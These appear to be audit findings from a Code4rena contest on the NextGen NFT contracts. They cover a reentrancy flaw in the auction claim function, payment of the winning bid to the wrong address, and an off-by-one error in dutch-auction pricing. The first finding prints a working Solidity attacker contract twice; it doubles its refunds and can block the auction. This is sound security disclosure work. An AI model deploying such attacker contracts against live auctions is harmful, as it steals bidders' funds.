NextGen - REKCAH's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57-L130

Vulnerability details

Impact

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57C6-L61 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104C6-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124C1-L130 Assume there is an auction on _tokenid and Attacker is a malicious smart contract. Attacker participate in auction and give 10 bids and also exactly in the auctionEndTime timestamp gives highest bid to win the auction. In that transaction also calls claimAuction.In all three above functions the requirement of compairsion block.timestamp to minter.getAuctionEndTime(_tokenid) is common(Edge case).It means in one timestamp(auctionEndTime)attacker can call participateToAuction ,claimAuction and cancelBid. So at the end of auction(auctionEndTime timestamp), attacker as winner of auction,calls claimAuction().Now it reads all bids and checks bidder is winner or not.Now when reads Attacker's bid ,calls the Attacker. Attacker.sol :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
struct auctionInfoStru {
    address bidder;
    uint256 bid;
       bool status;
}
interface auctionDemo {
    function participateToAuction(uint256 _tokenid) external payable;
    function claimAuction(uint256 _tokenid) external;
    function cancelBid(uint256 _tokenid, uint256 index) external;
    function auctionInfoData(uint256 _tokenid) external returns(auctionInfoStru[] memory);
    function returnHighestBid(uint256 _tokenid) external view returns (uint256);
}
 contract Attacker {
    // Assume auctionDemo.sol address is 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B;
    auctionDemo amd = auctionDemo(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B);
    uint _tokenid = 10000000001;
    auctionInfoStru[] ids;
    uint256 myFirstId;

    receive() external payable {
        amd.cancelBid(_tokenid, myFirstId);
        myFirstId++;
        }
//Step 1 : Attacker participate in auction and give 10 bids.
    function partInAuction() public {
        //Attacker bid ids whould be :[amd.auctionInfoData(_tokenid).length , amd.auctionInfoData(_tokenid).length +1 , amd.auctionInfoData(_tokenid).length + 2 ,...,amd.auctionInfoData(_tokenid).length + 9]
        myFirstId = amd.auctionInfoData(_tokenid).length;
        for(uint i ; i < 10 ; ++i){
            //msg.value increases 1 wei each loop
            amd.participateToAuction{value:0.01 ether + i}(_tokenid);
        }
    }
//Step 2 : Attacker calls claimAuction in auctionEndTime timestamp.
    function clamAuction() public {
        uint256 highestBid = amd.returnHighestBid(_tokenid);
        //Attacker should be winner to be able to call claimAuction() function
        amd.participateToAuction{value:highestBid + 1}(_tokenid);
        amd.claimAuction(_tokenid);
        }
 }

Each time Attacker is called,Attacker in receive function calls cancelBid(_tokenId).cancelBid() function returns bidder bid and sets auctionInfoData[_tokenid][index].status = false.Now Attacker has obtained double of his bid price.So if Attacker has 10 bids(~ 0.1 ether),he will receive 0.2 ether instead.This is a direct theft of all bidders. In a precise scenario Attacker can steal all values stored in the AuctionDemo.sol. There is a second scenario which attacker can prevent auction become successful and the highest bidder won't win the auction and no body else. In this scenario Attacker gives a bid at anytime (for example id = 100).At the endTime of auction,Attacker gives highest bid(for example id = 110) and calls calimAuction as winner of auction. When Attacker's 100 bid is refund, he calls cancelBid(id=110) in receive() function and takes her money back.But highestBid and highestBidder is calculated before for condition. So at the start of function highestBidder in Attacker but after call to Attacker,because auctionInfoData[_tokenid][i].status is set false, loop never enter first if condition and there will no be any winner. In this scenario Attacker prevent winner from successful trading and auction will have no winner and Attacker just pays a little gas.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
struct auctionInfoStru {
    address bidder;
    uint256 bid;
       bool status;
}
interface auctionDemo {
    function participateToAuction(uint256 _tokenid) external payable;
    function claimAuction(uint256 _tokenid) external;
    function cancelBid(uint256 _tokenid, uint256 index) external;
    function auctionInfoData(uint256 _tokenid) external returns(auctionInfoStru[] memory);
    function returnHighestBid(uint256 _tokenid) external view returns (uint256);
}
 contract Attacker {
    // Assume auctionDemo.sol address is 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B;
    auctionDemo amd = auctionDemo(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B);
    uint _tokenid = 10000000001;
    auctionInfoStru[] ids;
    uint256 myFirstId;

    receive() external payable {
        amd.cancelBid(_tokenid, myFirstId);
        myFirstId++;
        }
//Step 1 : Attacker participate in auction and give 10 bids.
    function partInAuction() public {
        //Attacker bid ids whould be :[amd.auctionInfoData(_tokenid).length , amd.auctionInfoData(_tokenid).length +1 , amd.auctionInfoData(_tokenid).length + 2 ,...,amd.auctionInfoData(_tokenid).length + 9]
        myFirstId = amd.auctionInfoData(_tokenid).length;
        for(uint i ; i < 10 ; ++i){
            //msg.value increases 1 wei each loop
            amd.participateToAuction{value:0.01 ether + i}(_tokenid);
        }
    }
//Step 2 : Attacker calls claimAuction in auctionEndTime timestamp.
    function clamAuction() public {
        uint256 highestBid = amd.returnHighestBid(_tokenid);
        //Attacker should be winner to be able to call claimAuction() function
        amd.participateToAuction{value:highestBid + 1}(_tokenid);
        amd.claimAuction(_tokenid);
        }
 }

Tools Used

Remix

Recommended Mitigation Steps

replace block.timestamp >= minter.getAuctionEndTime(_tokenid) by block.timestamp > minter.getAuctionEndTime(_tokenid) in claimAuction function to prevent attacker call all functions in one transaction.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

After auction end time,claimAuction is called and send bidders's bid amount of ether to them.So the NFTtoken is transferred from the ownerOfToken to the winner and the highestBid should be sent to the ownerOfToken.But in Line113 this highestBid is sent to the owner of the smart contract, not winner. Now we don't see any mechanism to transfer this amount of ether from the owner to the winner. However it may be handled manually by the project which is not logical.

Tools Used

manual

Recommended Mitigation Steps

replace owner() with ownerOfToken in Line114.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L530-L570

Vulnerability details

Impact

Assume we have a collection as below:

timePeriod = 1 Day Rate = 300 collectionMintCost = 2000 collectionEndMintCost = 1000 allowlistStartTime = 0 ( Start of Day 1 ); The price in time intervals will be as below:

Day1StartTime <--- Price = 2000 ---> Day2StartTime <--- Price = 1700 ---> Day3StartTime <--- Price = 1400 ---> Day4StartTime <--- Price = 1100 ---> Day5StartTime <--- Price = 1000 ---> publicEndTime

We see in first time interval getPrice() will return 2000 and after each period price will decrease 300 untill last period which will return collectionEndMintCost which is 1000. Assume the collection has saleOption = 2 an rate > 0 . Assume we are in the middle of Day4. So in L546 tDiff is calculate as: tDiff = (block.timestamp - collectionPhases[_collectionId].allowlistStartTime) / collectionPhases[_collectionId].timePeriod; tDiff = (4.5 - 0 ) / 1 = 4 As rate>0 for collection we enter else condition in Line552.

} else {
       if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff) {
          price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate);
       } else {
          price = collectionPhases[_collectionId].collectionEndMintCost;
       }

collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate) ( 2000 - 1000 ) / 300 = 3

Function in if condition in Line553 checks if tDiff is greater than above value, returns collectionPhases[_collectionId]. collectionEndMintCost as token price. So as condition ( 4 < 3 ) is false function enters else condition and returns 1000 as price. But we are in Day4 and from start to end of Day4 price should be 1100. So we see function getPrice() will return price lower than what should be and this cause everybody who mints tokens in Day4 will pay less money. For example if price in Day4 should be 1100,and Alice mints 5 token in public phase, she will pay 4000 instead of 5500 and takes a profit of 1500.(Big numbers for simplicity)

Proof of Concept

pragma solidity ^0.8.18;
contract Comptroller{
  uint256 public startTime = 0;
  uint256 public Rate = 300;
  uint256 public Period = 1;
  uint256 public collectionMintCost = 2000;
  uint256 public collectionEndMintcost= 1000;

  function test(uint256 timestamp) public returns(uint256 price){
    uint256 tDiff = (timestamp - startTime) / Period;
    uint base = (collectionMintCost - collectionEndMintcost) / Rate;
    if ( tDiff < base){
      price = collectionMintCost - tDiff * Rate;
    }else{
      price = collectionEndMintcost;
    }
  }
}

Tools Used

manual / remix

Recommended Mitigation Steps

Replace

if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff

by

if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) >= tDiff

in Line 553.

Assessed type

Math